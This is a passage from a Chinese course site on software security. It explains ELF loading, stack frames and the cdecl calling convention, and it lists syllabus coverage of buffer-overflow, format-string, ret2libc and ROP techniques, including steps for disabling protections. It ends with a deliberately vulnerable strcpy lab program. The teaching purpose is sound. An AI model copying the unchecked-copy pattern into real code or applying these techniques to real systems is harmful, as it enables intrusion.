| 其余 7 项 | PT_INTERP / PT_NOTE / PT_DYNAMIC / PT_GNU_STACK 等 | — | 不是代码段,只给加载器与运行时用 |
请特别看一眼第二行的两个数:filesz 0x114 与 memsz 0x118,差 4 字节——这 4 字节正是 .bss 的大小(0x804a01c 起 4 B)。文件里没有这 4 字节,内存里却要有,这个差值就是“bss 不占磁盘”的直接证据。
3.3.3 从磁盘到内存:execve 做了哪几步
要避免的后果:如果直接把文件内容按原样读进内存、从第一字节开始执行,那么“代码放哪”就由文件布局决定,任何两个程序都会撞地址。所以要有一套“按虚拟地址摆放”的规则。
- execve 系统调用:内核接管,读 ELF 头,确认格式与类型。
- 新建地址空间:给这个进程一套全新的虚拟地址空间(隔离的前提)。
- 按程序头表映射:对每个
PT_LOAD,用 mmap 把“文件偏移区间”映射到“虚拟地址区间”,权限按段头设置。页(Page,常见 4 KB)是映射的最小单位,段的p_align正是0x1000。 - 建立栈与环境:把
argc、argv、envp压到新栈顶,再放辅助向量。 - 跳到入口:42 的入口是
0x8048310,即_start。 - _start → __libc_start_main → main:
_start把main的地址当参数交给 libc,由 libc 完成初始化后才调用main。
08048310: 31ed xor ebp, ebp 08048312: 5e pop esi ; argc 08048313: 89e1 mov ecx, esp ; argv 起点 08048315: 83e4f0 and esp, 0xfffffff0 ; 16 字节对齐 08048318: 50 push eax 08048319: 54 push esp 0804831a: 52 push edx 0804831b: 68d0840408 push 0x80484d0 ; fini 08048320: 6870840408 push 0x8048470 ; init 08048325: 51 push ecx ; argv 08048326: 56 push esi ; argc 08048327: 682a840408 push 0x804842a ; ← main 的地址 0804832c: e8bfffffff call 0x80482f0 ; __libc_start_main@plt 08048331: f4 hlt
0x804842a 就是 main 的入口——这才是程序真正的起点。你写的 main 并不是进程的第一条指令,在它之前还有 _start、libc 初始化、.init_array 里的构造器。
“文件偏移怎么变成虚拟地址”,公式就一句话:虚拟地址 = p_vaddr + (文件偏移 − p_offset)。42 的 RX 段 p_vaddr − p_offset = 0x8048000,所以:
| 内容 | 文件偏移 | 映射后虚拟地址 | 验算 |
|---|---|---|---|
| .text(代码) | 0x310 | 0x8048310 | 0x8048000 + 0x310 ✓ |
| .rodata(格式串所在节) | 0x4e8 | 0x80484e8 | 0x8048000 + 0x4e8 ✓ |
| 格式串本身 | 0x4f0 | 0x80484f0 | 节首 +8,与 push 0x80484f0 一致 ✓ |
虚拟内存(Virtual Memory):给每个进程一套独立、连续的地址空间,再由页表翻译到物理内存。类比:酒店房号——客人只认“1208 房”,具体在几楼哪张床由前台(页表)安排,换一间房不影响房号。三个直接作用:隔离(进程 A 写不到进程 B 的内存)、按需加载(没访问的页可以先不读盘)、共享(多进程共用同一份 libc 代码页,只读映射)。
3.3.4 进程地址空间布局
64 位 Linux 的典型布局(地址为示意,实际受 ASLR 影响;方向与相对位置是真实的):
图:64 位 Linux 进程布局(地址示意)。栈向低地址长、堆向高地址长,两者相向;共享库夹在中间,这也是“栈溢出能撞到哪儿”的空间前提。
课件给的 32 位布局则用真实边界:用户空间从 0x08048000 起,顶部是 0xC0000000。42 正是 32 位程序,它的代码就落在 0x08048000 之上那一片,格式串在 0x80484f0——能对上课件图上的位置。
课件还提到 /proc/<pid>/maps:运行中的进程可以把自己的映射表打印出来,每一行是“地址范围 + 权限 + 对应文件”。这是验证上面这张图最直接的办法。
3.3.5 各节区的职责(对着 42 的真实尺寸看)
| 节 | 42 中的地址 / 大小 | 装什么 | 权限 | 在文件里占空间? |
|---|---|---|---|---|
.text | 0x8048310 / 450 B | 指令 | R+X | 是 |
.rodata | 0x80484e8 / 30 B | 字符串常量、只读表 | R | 是 |
.data | 0x804a014 / 8 B | 已初始化(非零)的全局/静态变量 | R+W | 是 |
.bss | 0x804a01c / 4 B | 未初始化或零初始化的全局/静态变量 | R+W | 否(只记 memsz) |
.plt | 0x80482d0 / 48 B | 外部函数的跳板(PLT0 + printf + __libc_start_main) | R+X | 是 |
.got.plt | 0x804a000 / 20 B | 外部函数真实地址的槽位 | R+W | 是 |
.init_array / .fini_array | 0x8049f08 / 4 B、0x8049f0c / 4 B | main 之前/之后要跑的构造器、析构器指针 | R+W | 是 |
.symtab / .strtab | 文件偏移 0x1050 / 0x14b0 | 符号表与字符串表(调试用) | 不映射 | 是,但运行时不加载 |
.bss 为什么能“不占文件”?因为它全是 0:与其在文件里存一万个 0,不如只在节头里记一句“运行时给我留 1 万字节、全部清零”。加载时内核把这段内存按页清零(映射到零页或直接清零),文件体积就省下来了。42 里 memsz 比 filesz 多 4 字节,正是这个机制的体现。
42.c 本身只贡献了一个节:那句格式串进了 .rodata(42.o 里 22 字节)。它没有全局变量,所以 42.o 的 .data 与 .bss 都是 0 字节;42 里那 8 B 的 .data 和 4 B 的 .bss 来自 C 运行时(crt),不是你的代码。为了让“变量落在哪个节”有直观印象,下面这段是示意程序(课件未给同类例子):
int g = 7; /* .data:已初始化且非零,占文件 */
int h; /* .bss :未初始化,不占文件 */
static int s; /* .bss :文件作用域,同上 */
const char *msg = "hi"; /* 指针变量在 .data,"hi" 在 .rodata */
void f(void) {
static int t; /* .bss :函数内静态变量也放这里 */
char buf[64]; /* 栈:局部数组,没有边界检查就是漏洞入口 */
}
3.3.6 栈帧:call 那一刻到底发生了什么
要避免的后果:如果函数调用不保存“回来时该执行哪条指令”,一个函数返回后就无处可去;如果局部变量没有固定位置,递归一次就会互相踩踏。栈用“后进先出”同时解决这两件事。
栈帧(Stack Frame):一次函数调用在栈上占用的那块区域,存放参数、返回地址(Return Address)和局部变量。类比:一张办公桌——你坐下时把桌面清出来(序言),走时把桌面恢复原样(结语),下一位同事接着用。
call做两件事:把下一条指令的地址(返回地址)压栈,然后跳到被调用函数。此刻的 42:main里0x8048453的call 0x804840b会把0x8048458压栈。- 函数序言(Prologue):被调用函数开头三步——
push ebp(保存调用者的帧指针)、mov ebp,esp(确立自己的帧基准)、sub esp,N(给自己的局部变量留空间)。 - 函数结语(Epilogue):
leave(等价于mov esp,ebp; pop ebp)恢复栈与帧指针,ret弹出返回地址并跳回去。
; main 中的调用点(0x804844c) 0804844c: 83ec08 sub esp, 8 0804844f: ff75f4 push dword [ebp-0xc] ; 实参 x(值为 42) 08048452: 50 push eax ; 实参 argv[1] 08048453: e8b3ffffff call 0x804840b ; 压入返回地址 0x8048458 08048458: 83c410 add esp, 0x10 ; 调用者清栈:8 字节参数 ; answer 本体(0x804840b) 0804840b: 55 push ebp 0804840c: 89e5 mov ebp, esp 0804840e: 83ec08 sub esp, 8 ; 对齐 08048411: 83ec04 sub esp, 4 08048414: ff750c push dword [ebp+0xc] 08048417: ff7508 push dword [ebp+0x8] 0804841a: 68f0840408 push 0x80484f0 ; 格式串 0804841f: e8bcfeffff call 0x80482e0 ; printf@plt 08048424: 83c410 add esp, 0x10 08048427: 90 nop 08048428: c9 leave 08048429: c3 ret
图:42 中 answer 的栈帧(地址为示意,以 answer 的 ebp=0xbffff4b4 为基准推出;帧内相对位置与真实汇编一致)。返回地址 0x8048458 是真实值。
这张图就是第 4 章的全部前提:返回地址就在局部变量数组的高地址侧不远处。char buffer[100] 若从 ebp-112 开始,往后写 112 字节正好压到 ebp+4 的返回地址——偏移 112 不是玄学,就是“数组起点到返回地址”的距离。
3.3.7 ASLR / PIE / NX 先埋一句
上面这张图在真实系统里还会被三件事改动,它们都在第 7 章详谈,这里只记住它们“改的是同一张图”:
- ASLR:每次运行随机化栈、堆、共享库的基址,让你猜不准返回地址该填什么。
- PIE:可执行文件本身也能被装到任意基址(42 是固定
0x08048000的老式非 PIE 程序)。 - NX:把栈与堆标成不可执行(42 的 RW 段 flags=6,没有执行位),注入的 shellcode 无法直接运行。
常见误解
- 「
.bss与.data是同一回事」——.data存已初始化且非零的变量、占文件;.bss存未初始化/零初始化变量、只占内存不占文件。 - 「静态链接的程序更小」——一般更大,因为它把库代码抄了进来;换来的是不依赖目标机的 libc 版本。
- 「
malloc的内存不在地址空间里」——它就是堆,而堆本身也是 mmap/brk 建立的映射,拿到的仍是虚拟地址。 - 「栈可以随便用」——默认只有 8 MB 量级(
ulimit -s),这也是“大数组 + 深递归”会崩的原因。 - 「一个节就是一个段」——段是映射单位,一个段可含多个权限相同的节;42 的 30 个节只压成 2 个 LOAD 段。
- 「程序从
main开始执行」——内核先跳到_start(42 的0x8048310),由 libc 初始化后才调用main。
.bss 通常不占可执行文件的体积?单选readelf -S 与 readelf -l 分别在看什么?单选0x8048310 指向什么?单选下一节要用到这里的什么“返回地址位于 ebp+4”和“数组起点到返回地址有固定距离”,是第 4 章量出 108 / 112 的全部依据;而“栈不可执行”与“库地址随机化”,决定了溢出之后是跳 shellcode、跳 libc 还是拼 ROP。
3.4 寄存器:EIP 为什么是关键
x86 有 8 个通用寄存器:EAX、EBX、ECX、EDX、ESI、EDI、ESP(栈指针)、EBP(帧指针),外加 EIP(下一条指令地址)和 EFLAGS(条件码)。课件特别强调:没有直接获取或设置 EIP 的指令;EIP 只能由跳转、调用、返回等控制流指令间接改变。因此“劫持控制流”在机器层等价于“让 EIP 变成攻击者想要的值”,而最常见的手段就是改写栈上的返回地址,让 ret 把它弹进 EIP。
C 的 if/while/for 在汇编里落成“比较设置 EFLAGS + 条件跳转”。课件以 if (x <= y) 为例,给出 cmp 0xc(%ebp), %eax 后接 ja 的写法(cmp 本质是做减法,但不写回结果)。
| 标志位 | 含义 | 用途 |
|---|---|---|
| CF (bit 0) | 最高有效位发生进位/借位则置 1 | 无符号溢出 |
| ZF (bit 6) | 结果为 0 则置 1 | 相等判断 |
| PF (bit 2) | 结果最低有效字节含偶数个 1 则置 1 | 奇偶校验 |
| OF (bit 11) | 有符号结果无法用目标宽度表示则置 1 | 有符号溢出 |
| SF (bit 7) | 结果为负则置 1 | 符号判断 |
常见条件跳转:JA(CF=0 且 ZF=0)、JZ/JE(ZF=1)、JL(SF≠OF)、JLE(ZF=1 或 SF≠OF)、JB(CF=1)、JO(OF=1)。有符号与无符号用不同跳转指令,这就是第 5 章整数溢出能绕过长度检查的原因之一。
3.5 调用约定 cdecl 与栈帧
上一节的图已经画出栈帧的形状,但还剩一个问题:参数凭什么放在 ebp+8?这不是硬件规定,而是人为约定。本节把这条约定讲透,目标是读完能对着一段汇编反推出 C 代码。
3.5.1 没有约定会怎样
调用约定(Calling Convention):函数双方对“参数放哪、谁清栈、返回值放哪、寄存器谁保存”的统一约定。类比:两个人合伙搬家具,必须先说好“谁抬哪一头、进门谁先松手”,否则一定砸脚。
要避免的后果很具体:你在 a.c 里用编译器 A 编出一个函数,别人在 b.c 里用编译器 B 调用它。若 A 认为参数走寄存器、B 认为参数在栈上,双方各自都“编译通过”,一连起来就取到垃圾值、返回时 esp 错位、栈一路崩到底。源码互相看不见,唯一能对齐的就是约定——这也是为什么调用约定属于 ABI,而不是某个编译器的小技巧。
3.5.2 cdecl 的五条规则
- 参数从右向左压栈。所以最先 push 的是最后一个实参,最后 push 的是第一个实参;进入函数后,第一个参数永远在
ebp+8。 - 调用者清理栈。参数是调用者压的,返回后由调用者
add esp,N收回(ret只负责弹返回地址)。 - 返回值放 eax(64 位整型或指针放
rax;更大的结构体改用隐藏指针)。 - callee-saved(被调用者保存):
ebx、esi、edi、ebp。被调用函数若用到它们,必须自己先 push、返回前恢复。 - caller-saved(调用者保存):
eax、ecx、edx。调用返回后它们可能已被改写,调用者若要继续用,必须自己提前存好。
为什么“从右到左”?两个直接原因:① 第一个参数的位置因此固定在 ebp+8,编译器不必知道总共有几个参数就能取到它;② 可变参数函数(如 printf)正是靠这个固定起点,从 ebp+8 起按顺序往高地址读——格式串在前,后续参数依次排在高地址。若从左到右压栈,参数个数一变,第一个参数的位置就跟着变。
为什么“调用者清栈”?因为只有调用者知道自己实际传了几个参数。被调用者若用 ret N 清栈(stdcall 的做法),就无法支持可变参数。
3.5.3 逐条演示:42 的 main 调用 answer
用 3.3.6 那段真实汇编,把每条指令对 esp 与栈内容的影响列出来。地址为示意(以 answer 的 ebp=0xbffff4b4 为基准),指令与字节是真实值。
| # | 指令(真实) | esp 变化 | 此刻栈里是什么(栈顶在下) |
|---|---|---|---|
| 0 | — | 0xbffff4cc | main 的局部区与旧帧,尚无参数 |
| 1 | sub esp, 8 | → 0xbffff4c4 | 腾出 8 字节,给两个实参预留位置(尚未写入) |
| 2 | push [ebp-0xc] | → 0xbffff4c0 | 写入 42:第 2 个实参 x,先压 |
| 3 | push eax | → 0xbffff4bc | 写入 argv[1] 的地址:第 1 个实参 name,后压 |
| 4 | call 0x804840b | → 0xbffff4b8 | 压入返回地址 0x8048458(下一条指令) |
| 5 | push ebp | → 0xbffff4b4 | 压入 main 的旧 ebp(值 0xbffff4cc) |
| 6 | mov ebp, esp | 不变(ebp=0xbffff4b4) | ebp 定在新帧基准;ebp+8 正好是 name |
| 7 | sub esp, 8 | → 0xbffff4ac | 对齐(answer 没有局部变量) |
| 8 | sub esp, 4 | → 0xbffff4a8 | 再对齐;此刻帧内最低点 |
| 9 | leave | → 0xbffff4b8 | 先 mov esp,ebp 收回局部区,再弹出旧 ebp |
| 10 | ret | → 0xbffff4bc | 弹出 0x8048458 到 EIP,控制权回到 main |
| 11 | add esp, 0x10 | → 0xbffff4cc | 调用者清掉参数区,esp 与第 0 步完全一致 |
把第 11 步与第 0 步对照:esp 回到了原值。这是“调用前后栈平衡”最直观的检验——若某段汇编里 add esp 清掉的字节数与 push 的字节数对不上,栈就会越跑越偏,迟早崩。answer 内部再调用 printf 时,第 2–4 步会原样重复(3 个参数 12 字节,随后 add esp,0x10 多清 4 字节对齐)。
3.5.4 与其他约定对照(别把 32 位与 64 位混着背)
| 约定 | 参数怎么传 | 谁清栈 | 返回值 | 典型场景 |
|---|---|---|---|---|
| cdecl | 栈,右→左;首参数在 ebp+8 | 调用者 add esp,N | eax | Linux 32 位 GCC 默认;本课程实验全部用它 |
| stdcall | 栈,右→左 | 被调用者 ret N | eax | Windows API(Win32) |
| fastcall | 前 2 个走 ecx/edx,其余入栈 | 被调用者 | eax | 追求速度的 32 位代码 |
| thiscall | this 走 ecx(GCC 则压栈),其余入栈 | MSVC 由被调用者清 | eax | C++ 成员函数 |
| SysV AMD64 | 整数/指针依次走 rdi、rsi、rdx、rcx、r8、r9;浮点走 xmm0–7;超出部分入栈 | 调用者 | rax(128 位 rdx:rax) | 现代 Linux 64 位默认 |
| Microsoft x64 | 依次走 rcx、rdx、r8、r9;其余入栈 | 调用者 | rax | Windows 64 位;调用前须留 32 字节 shadow space |
- SysV AMD64 的栈对齐:执行
call时rsp必须是 16 的倍数(即进入函数时rsp+8对齐到 16)。不对齐时,用到movaps/movdqa的代码会直接崩——64 位上最常见的一类“莫名其妙”崩溃。 - red zone:SysV 允许叶子函数使用
rsp以下 128 字节而不必先调整rsp(信号处理程序不会踩它);32 位没有这个待遇。 - varargs 与 MS x64:调用可变参数函数时,
al要放“向量寄存器里传了几个浮点参数”,否则被调用者不知道要不要保存xmm。 - 别混用:本课程实验是 32 位 x86 + cdecl(
ebp、eax、栈传参);现代 Linux 默认是 SysV AMD64(rbp、rax、寄存器传参)。论文与 exp 里两套寄存器名不要互相套用。
3.5.5 栈帧全图与 prologue / epilogue 的位置变化
ebp+12)ebp+8)ebp+4)← 攻击目标图:cdecl 栈帧全图(地址示意,与 3.5.3 表格一致)。数组越界往高地址写,先撞 canary,再撞旧 ebp,最后撞返回地址——顺序由这张图决定,也是第 4 章所有偏移的来源。
| 阶段 | 指令 | esp | ebp |
|---|---|---|---|
| call 之后 | (call 已压返回地址) | 0xbffff4b8 | 仍为 main 的 0xbffff4cc |
| prologue ① | push ebp | 0xbffff4b4 | 0xbffff4cc(未变) |
| prologue ② | mov ebp, esp | 0xbffff4b4 | 0xbffff4b4(新基准) |
| prologue ③ | sub esp, 8 + sub esp, 4 | 0xbffff4a8 | 0xbffff4b4 |
| epilogue ① | leave(mov esp,ebp + pop ebp) | 0xbffff4b8 | 0xbffff4cc(恢复成 main 的) |
| epilogue ② | ret | 0xbffff4bc | 不变 |
还想看一份“只为观察序言/结语”的干净材料,可以打开素材里的 pro_epi_logue.c(15 行,三个空函数互相调用),配合 gcc -S 生成的 pro_epi_logue.s 逐个函数对照。
函数序言(prologue)做三件事:保存旧 ebp、确立新 ebp、把 esp 下移给局部变量(push ebp / mov ebp,esp / sub esp,N);函数结语(epilogue)做两件事:把返回值放进 eax,再用 leave 收回栈、ret 弹回控制权。下面这份材料正好只有这两组动作:
void foo(int x){
int a;
a = x;
}
void bar(){
int b = 5;
foo(b);
}
int main(){
foo(2);
bar(3);
return 0;
}
这份代码本身不执行业务逻辑,用途就是对照 pro_epi_logue.s 看每个函数的 push ebp / mov ebp,esp / leave / ret。看完再回到上面那张表:每一步的 esp 变化,在真实编译产物里都能一一对上。
3.5.6 反向练习:看汇编反推 C
下面这段是示意汇编(不是 42 的产物,用来练手),规则与本节完全一致:
f:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, [ebp+0xc] ; 取第 2 个参数 b
imul eax, [ebp+0x10] ; b * c
add eax, [ebp+8] ; a + b*c
mov [ebp-4], eax ; 存到局部变量
mov eax, [ebp-4] ; 再取回,作为返回值
leave
ret
反推步骤:① 访问了 ebp+8 / +0xc / +0x10 → 有 3 个参数、各 4 字节、走栈传递;② 返回值在 eax;③ 结尾是 ret 而不是 ret 12 → 调用者清栈,即 cdecl;④ 有 sub esp,0x18 与 [ebp-4] → 一个局部 int,其余是对齐填充。合起来就是:
int f(int a, int b, int c) {
int t = a + b * c; /* imul 先算 b*c,再与 a 相加 */
return t;
}
若结尾是 ret 0xc,应改判为 stdcall(被调用者清 12 字节);若参数从 ecx、edx 取,则应判为 fastcall。这套判断在读别人的 .o 时同样有效。
3.5.7 易错点 ×5
- 清栈方搞反:cdecl 是调用者清(
add esp,N在 call 之后);stdcall 是被调用者清(ret N)。看到ret 8就说明不是 cdecl。 - 64 位仍按 32 位讲:SysV AMD64 用
rdi…r9传参,eax应换成rax,ebp换成rbp。把ebp+8的结论套到 64 位会全错。 - 忘记 16 字节对齐:SysV AMD64 调用前
rsp必须 16 对齐,否则movaps触发 SIGSEGV——手写汇编与构造 ROP 链时最容易踩。 - ret 之后 esp 没恢复:漏掉
add esp,N,每次调用 esp 就往下走一截,循环里很快踩穿栈。 - 以为
ebp一定是帧指针:开-fomit-frame-pointer(现代-O2默认)后ebp被当普通寄存器用,gdb 里看不到规整栈帧。调试与量偏移务必用-O0 -fno-omit-frame-pointer。
push 3、push 2、push 1、call f、add esp,12。可判断?单选3.6 课件强调清单(本轮自查与补写记录)
本节把 8 份课件里被明确标注为“重点 / 掌握 / 理解 / 了解 / 注意 / 实验”,以及被反复讲的概念,逐条列出来,并对每一条标注页面上的覆盖情况。清单共 54 条(其中 10 条来自新并入的 2-4),已覆盖 46 条、原偏浅 4 条(本次已加深)、原缺失 4 条(本次已补写要点)。页码为 PDF 物理页(1 基);状态是本次自查的判断,不是课件原文。
3.6.1 课件主线(补写:把零散章节接成一条线)
课件 2-1 第 3 页把整门课的目标写成一句话:控制流劫持的目标是“执行任意代码”,并用三个实例串起后续全部内容——缓冲区溢出(第 4 章)、整数溢出(第 5 章)、格式化字符串(第 6 章)。三者手法不同,落点相同:都是把“数据”变成“控制信息”。
课件 2-2 第 33 页的小结提出,做缓冲区溢出利用需要四项能力:懂 C 函数与堆栈、懂机器码、懂系统调用、懂字节序与栈帧差异。它们在本站的落点是:C 函数与堆栈 → 3.5 与第 4 章;机器码 → 3.2 的 42.o 反汇编与第 4 章;系统调用 → 第 4 章 execve shellcode;字节序与栈帧差异 → 3.3 / 3.5 与第 5 章(整数回绕依赖小端与无符号语义)。
3.6.2 实验环境与参考资料(补写:课件里的“注意”页)
虚拟机镜像手册(___虚拟机镜像.pdf)的四条注意事项,本站此前未成节,这里按要点补上:
- 建虚拟机时不要选 Ubuntu (64-bit):预建镜像是 32 位,宿主机是 64 位也必须选 32-bit(第 2 页)。
- 磁盘文件只选
SEEDUbuntu-16.04-32bit.vmdk;带-s0xx后缀的分片文件不要选(第 3 页)。 - 克隆前必须让虚拟机完全关机(不是挂起/Saved 状态),且克隆时不要复制 MAC 地址(第 8 页)。
- 多台虚拟机互通的实验要用 NAT Network:NAT 只能上网、Host-only 只能互通,单独一种都不满足“两目标同时可达”(第 10 页)。
参考资料:课件第 0 讲第 3 页列出 SEED Labs(handsonsecurity.net)与《信息系统安全实验教程》——本站第 4 章“运行前提”与第 7 章的三项保护开关,对应的就是 SEED 的 Buffer-Overflow / Format-String 实验流程。
3.6.3 结课问答(课件只提问、未给结论)
第 1 讲第 103 页留了两个开放问题,课件没有给出标准答案(此处标注“课件未展开”,下面只列可讨论的方向,不作定论):
- 共享库按需调用,是否体现了最小特权?可讨论的方向:按需加载减少常驻代码量,但库一旦映射进地址空间就以该进程权限运行,并不按函数粒度收紧权限——这更像“减少暴露面”,与“最小特权”不完全同义。
- 通过时延探测推断行为,是否属于侧信道?可讨论的方向:侧信道的定义核心是“利用实现层面的物理/时间特征泄露信息”,时延确实属于此类(Meltdown/Spectre 的 Flush+Reload 也以时间为观测通道,见第 11 章)。
3.6.4 清单
| 课件 · 页 | 原文要点(简短引用) | 状态 |
|---|---|---|
| 虚拟机镜像 · 2 | 不要选 Ubuntu (64-bit),预建镜像是 32 位 | ❌ 缺失→已补写 |
| 虚拟机镜像 · 3 | 只选 SEEDUbuntu-16.04-32bit.vmdk,不选 -s0xx 分片 | ❌ 缺失→已补写 |
| 虚拟机镜像 · 8 | 克隆前必须完全关机;不要克隆 MAC | ❌ 缺失→已补写 |
| 虚拟机镜像 · 10 | 多机实验用 NAT Network(NAT/Host-only 都不满足) | ❌ 缺失→已补写 |
| 第0讲 · 2 | 综合评分:考试 80%(开卷)、平时 20% | ✅ 已覆盖 |
| 第0讲 · 5 | 48 课时含软件安全、系统模型、控制流劫持、CFI、竞态 | ✅ 已覆盖 |
| 第0讲 · 3 | 参考资料:SEED Labs 与《信息系统安全实验教程》 | ⚠️ 偏浅→已加深 |
| 第1讲 · 55 | 两条主线:缓冲区溢出→软件安全;SQL 注入→Web 安全 | ✅ 已覆盖 |
| 第1讲 · 70 | 获取访问:攻击 OS 靠缓冲区溢出/口令攻击 | ✅ 已覆盖 |
| 第1讲 · 77 | 定义 1.5(安全性=降低成功率与损害)、定理 1.2(主机+网络结合) | ✅ 已覆盖 |
| 第1讲 · 90 | 安全机制设计八大原则 | ✅ 已覆盖 |
| 第1讲 · 95 | 木桶原理:整体安全取决于最薄弱环节 | ✅ 已覆盖 |
| 第1讲 · 98 | 没有绝对的安全;人是最薄弱环节;越安全越不便 | ✅ 已覆盖 |
| 第1讲 · 103 | 结课问答:共享库按需调用与最小特权;时延探测与侧信道 | ⚠️ 偏浅→已加深 |
| 软件安全1 · 57 | 全册唯一“重点”页:漏洞成因、执行过程、EIP、栈帧、调用约定、序言/结语 | ✅ 已覆盖 |
| 软件安全1 · 23 | 没有直接获取/设置 EIP 的方法 | ✅ 已覆盖(3.4) |
| 软件安全1 · 26 | EFLAGS:CF 无符号溢出、OF 有符号溢出、ZF/PF/SF | ✅ 已覆盖(3.4) |
| 软件安全1 · 31 | 栈由高向低、堆由低向高(0xC0000000 起向下) | ✅ 已覆盖(3.3) |
| 软件安全1 · 37 | cdecl:参数右→左、call 压返回地址、caller 清栈、eax 返回值 | ✅ 已覆盖(3.5) |
| 软件安全1 · 38 | cdecl 是 Linux & GCC 缺省约定 | ✅ 已覆盖(3.5) |
| 软件安全1 · 41 | 建立帧指针后第一参数在 ebp+8;ebp+4 是返回地址,ebp 存旧 ebp | ✅ 已覆盖(3.5) |
| 软件安全1 · 56 | Prologue/Epilogue:建栈并保存 callee-saved;清栈并恢复 | ✅ 已覆盖(3.5) |
| 软件安全2-1 · 3 | 控制流劫持目标=执行任意代码;三实例:缓冲区/整数/格式化字符串 | ⚠️ 偏浅→已加深 |
| 软件安全2-1 · 6 | 函数调用压栈内容:参数、当前 EIP(返回地址)、旧 ebp、局部变量 | ✅ 已覆盖(3.3/3.5) |
| 软件安全2-1 · 11 | strcpy 不检查长度;攻击代码在栈中执行,ret 后取得 shell | ✅ 已覆盖(第 4 章) |
| 软件安全2-1 · 12 | 不安全库函数 strcpy/strcat/gets/scanf;strncpy/strncat 也不安全 | ✅ 已覆盖(第 4 章) |
| 软件安全2-1 · 13 | 攻击前提:shellcode 不含 \0;返回前程序不能崩 | ✅ 已覆盖(第 4 章) |
| 软件安全2-1 · 21 | 整数溢出:len1+len2 回绕为 0x100,绕过 >256 检查 | ✅ 已覆盖(第 5 章) |
| 软件安全2-2 · 4 | %n 把已输出字符数写入参数所指地址 | ✅ 已覆盖(第 6 章) |
| 软件安全2-2 · 8 | printf(user) 泄露栈数据:%08x 逐个打印栈参数 | ✅ 已覆盖(第 6 章) |
| 软件安全2-2 · 14 | %[n]c%n 实现任意地址写任意值(4+6=10 → *addr=10) | ✅ 已覆盖(第 6 章) |
| 软件安全2-2 · 31 | 绕过 “%400s”:%497d 使 19+497=516=512+4,覆盖返回地址 | ✅ 已覆盖(第 6 章) |
| 软件安全2-2 · 33 | 小结:需懂 C 与堆栈、机器码、系统调用、字节序与栈帧差异 | ⚠️ 偏浅→已加深 |
| 软件安全2-2 · 72 | 关三项保护并 gcc -fno-stack-protector -z execstack、chown、chmod 4755、randomize_va_space=0 | ✅ 已覆盖(第 4 章运行前提) |
| 软件安全2-2 · 77 | gdb 实测:ebp 距 buffer 108,返回地址距 buffer 112 | ✅ 已覆盖(第 4 章) |
| 软件安全2-2 · 78 | NOP 填充提高跳转命中率,shellcode 放在缓冲区末尾 | ✅ 已覆盖(第 4 章) |
| 软件安全2-2 · 84 | shellcode:eax=11、ebx=/bin/sh、ecx=argv、edx=0、int 0x80 | ✅ 已覆盖(第 4 章) |
| 软件安全2-3 · 2 | 防御三条路:修 bug/静态分析、NX、运行时 canary | ✅ 已覆盖(第 7 章) |
| 软件安全2-3 · 5 | W^X:栈与堆不可执行;缺点是不能防 ret2libc/ROP | ✅ 已覆盖(第 7 章) |
| 软件安全2-3 · 10 | canary 两类:随机 canary 与 terminator canary | ✅ 已覆盖(第 7 章) |
| 软件安全2-3 · 11 | StackGuard 须重编译;约 8% 开销;仅防 stack smashing | ✅ 已覆盖(第 7 章) |
| 软件安全2-3 · 26–28 | ASLR 默认不随机化 .text,需 PIE(-fPIE -pie) | ✅ 已覆盖(第 7 章) |
| 软件安全2-3 · 30 | 绕过 ASLR:暴力破解;借内存泄漏取 GOT/PLT | ✅ 已覆盖(第 7 章) |
| 软件安全2-3 · 36 | GOT 存函数地址,首次调用由 PLT 解析回填 | ✅ 已覆盖(第 7 章,3.2 已铺垫) |
| 软件安全2-4 · 2 / 9–10 | 防御是“不能在栈中运行代码”,攻击是“无须在栈中运行代码”;问如何绕过 NX | ❌ 原缺失→已补写(7.14) |
| 软件安全2-4 · 11–13 | libc.so 运行时加载、所在区域可执行;system 接字符串当命令执行 | ❌ 原缺失→已补写(8.5) |
| 软件安全2-4 · 14–31 | 用 pro_epi_logue.c 逐帧演示 leave/ret 后栈的变化 | ❌ 原缺失→已补写(8.6) |
| 软件安全2-4 · 32–41 | Task A/B/C:取 system/exit 地址、MYSHELL 字符串地址、参数落在 ebp+8 | ❌ 原缺失→已补写(8.7) |
| 软件安全2-4 · 46–47 | 注意:程序名长度会挪动栈顶环境变量地址(envro → e) | ❌ 原缺失→已补写(8.8) |
| 软件安全2-4 · 57–60 | gadget 以 ret 结尾;ret 的两个效果:弹地址进 EIP、esp 上移 | ❌ 原缺失→已补写(9.5) |
| 软件安全2-4 · 66–76 | 等价实现:普通函数写法 vs 拆成 gadget 的写法 | ❌ 原缺失→已补写(9.6) |
| 软件安全2-4 · 79–90 | ROPgadget 安装、--ropchain、核对 gadget、找覆盖偏移(差一格) | ❌ 原缺失→已补写(9.7) |
| 软件安全2-4 · 92–101 | execve 链:拼 "/bin//sh"、设 ebx/ecx/edx、eax=11、int 0x80 | ✅ 已覆盖(9.3,本轮补页码) |
| 软件安全2-4 · 103 | 总结:控制流三实例、三攻击方式、三防御手段 | ⚠️ 原偏浅→已加深(7.14) |
表:54 条强调清单。状态含义:✅ 已覆盖且深度够 ⚠️ 原偏浅、本次已加深 ❌ 原缺失、本次已补写要点。
另需说明:第 8、9 章(ret2libc、ROP)已由新并入的 2-4 讲义覆盖(第 11–47、49–104 页),页面正文与页码均已对齐;第 10、11 章(竞态与 Dirty COW、Meltdown/Spectre)仍不在课件正文里,依据的是 codes-share-to-class 里的实验代码与注释,已标注“课件未展开”。
进入下一章要带走的三样东西① 返回地址在 ebp+4、位于局部变量数组的高地址侧;② 数组起点到 ebp 的距离可由 gdb 直接量(课上实测 108,故到返回地址是 112);③ printf 等外部函数的真实地址运行期才确定——这三点分别支撑第 4 章的覆盖构造、第 6 章的任意写、第 7–9 章的绕过思路。
3.7 关键术语表
正文里带虚线下划线的术语都可以点,也可以悬停看一句话解释;点一下跳到这里的卡片。条目由本地 assets/gloss-data.js 渲染,不联网。
缓冲区溢出
溢出的本质只有一句话:把长度不受控的数据写进定长缓冲区,多出来的部分覆盖了栈上的控制信息。本章把这个句子拆成可计算的偏移、可构造的输入、可执行的 shellcode。
4.1 一个最小的漏洞函数
课件用 func 的简化版说明原理:char buf[128] 后用 strcpy(buf, str),而 strcpy 不做长度检查。课堂上真正演示的程序是 stack.c(第 5–23 行):
int vulfunc(char *str)
{
char buffer[100];
strcpy(buffer, str); //1
return 1;
}
int main(){
char str[400];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char), 300, badfile); //2
vulfunc(str);
printf("Returned properly\n");
fclose(badfile);
return 0;
}
